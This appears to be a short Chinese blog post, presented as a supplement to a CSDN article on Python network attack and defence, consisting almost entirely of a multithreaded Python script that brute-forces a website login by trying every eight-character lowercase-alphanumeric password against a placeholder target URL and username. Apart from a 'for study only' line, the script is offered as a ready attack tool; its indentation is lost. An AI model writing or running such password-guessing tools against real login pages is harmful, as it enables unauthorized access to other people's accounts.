备注:此文章是Python网络攻防-大数据时代的危机!让我们维护网络安全!-CSDN博客
的补充说明!
爆破密码:
import itertools
import requests
import concurrent.futures
print('欢迎使用密码爆破器。作者 帅气的马,仅供学习参考')
def brute_force_attack(url, username, charset, length):
def try_password(password):
response = requests.post(url, data={'username': username, 'password': password})
if response.status_code == 200:
print(f"Success: Username = {username}, Password = {password}")
print(f"密码正确,用户及密码是: {username}, {password}")
return password
return None
passwords = (''.join(candidate) for candidate in itertools.product(charset, repeat=length))
with concurrent.futures.ThreadPoolExecutor(max_workers=5) as executor:
futures = [executor.submit(try_password, password) for password in passwords]
for future in concurrent.futures.as_completed(futures):
result = future.result()
if result:
return result
print("Failed to find valid credentials.")
return None
# 示例字符集和长度
charset = 'abcdefghijklmnopqrstuvwxyz0123456789'
length = 8
# 攻击目标URL
url = 'www.攻击目标.com'
# 开始暴力破解
brute_force_attack(url, 'Pofengzhe', charset, length)